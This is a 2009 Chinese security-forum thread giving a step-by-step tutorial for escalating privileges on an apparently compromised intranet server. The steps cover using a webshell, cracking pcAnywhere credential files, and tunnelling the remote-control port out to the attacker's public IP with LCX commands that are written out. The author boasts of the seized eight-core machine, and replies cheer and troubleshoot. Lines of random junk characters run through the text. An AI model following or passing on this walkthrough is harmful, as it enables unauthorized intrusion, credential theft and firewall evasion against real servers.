标题:
[原创文章]
pcanywhere之内网提权
[打印本页]
作者:
huar
时间:
2009-7-5 21:35
标题:
pcanywhere之内网提权
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
& F- g3 v( e4 h
9 U" h! N0 T s
提权方法：pcanywhere+LCX
# @5 o% e1 P8 E; g, _2 C: l
) c$ N8 t5 x3 k. n
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
! S; S9 Z0 |- V' \* t- K _# h
b: `$ L! i7 a: P) Z
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
) w1 S! b, D# g2 H" l) V% s1 ?
: Z% m( _9 x5 _. ?( H+ A. d( ?
[attach]1548[/attach]
- X3 H4 Z3 Z. k1 C9 \5 X
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
4 h/ y, x" ?/ H7 ^8 n/ Q2 R
C+ J/ F0 t6 e9 L1 K; I8 m8 N
[attach]1549[/attach]
) `. Q1 w/ ~! m; t5 y K5 ^2 t
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
7 a- N: C/ w# f& A
- f( Z% h' P/ Q9 w
[attach]1550[/attach]
& B" l# g" k5 G3 K9 a
: g$ ~& k4 G4 A$ c, o
[attach]1551[/attach]
) ?) e. W# U- T7 v4 D2 [, Z; a
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
+ G5 \' b0 t! I/ C4 z, t B* n
% z1 |" `7 R/ d3 n1 E
[attach]1552[/attach]
4 V. ^" N0 x, ?0 ~6 K
LCX的用法再简单说下：
8 C2 w* \ y* c' \8 e
$ ~- J& L/ l0 w: t/ h) \
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
9 ?$ F& U+ X7 s5 S3 K1 e
+ |6 E9 M' r' y' Z
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
( W7 J6 l! j5 K! j8 P/ ?1 M
' K8 h3 B8 m/ W4 z' G
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
6 b0 d) q# C4 @0 C
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
4 F4 V5 b" {$ V; Z! _# }
9 x. z3 t5 D$ o: \& H* u7 D, p
[attach]1553[/attach]
# r c8 N2 G( c% C$ l! d
* V. Z9 G" j' X& l" ]- X O
[attach]1554[/attach]
$ r v) w$ O" e0 N2 x
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
% g& d. R( G, E q
" U! N! q4 T- \) N! [& G% C: o
[attach]1555[/attach]
/ H2 u4 t5 m- Z3 |
: e- C- ] [/ S- m5 Q" H7 N
[attach]1556[/attach]
& Z# X4 \5 p7 s; a5 Z, R* P
我们本地连接试试，输入我们刚破解的账号密码
1 Q2 k0 h% j6 ]( H: G# I0 I
" s' q# v/ A4 x/ G( Y2 P8 C4 i3 D
[attach]1557[/attach]
$ R" e+ T! z4 b8 P
呵呵``连接成功,服务器不错，又一个8核^︵^
4 m8 f5 Y7 ~% s4 o) `; j
& H" H% e0 P N
[attach]1558[/attach]
# V1 ?# k0 e# D: J- A
+ t' t9 |* d4 p4 ]
[attach]1559[/attach]
作者:
柔肠寸断
时间:
2009-7-5 21:37
不错不错。。。你的貌似一直都是内网服务器哈
作者:
huar
时间:
2009-7-5 21:41
哎。。。。运气不佳```老碰见内网的。。。。
作者:
gassiori
时间:
2009-7-6 09:50
八核的哟
作者:
柔肠寸断
时间:
2009-12-15 15:36
顶起。。。。。。。。。
作者:
killadmin
时间:
2010-1-21 20:01
但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2
.gif)
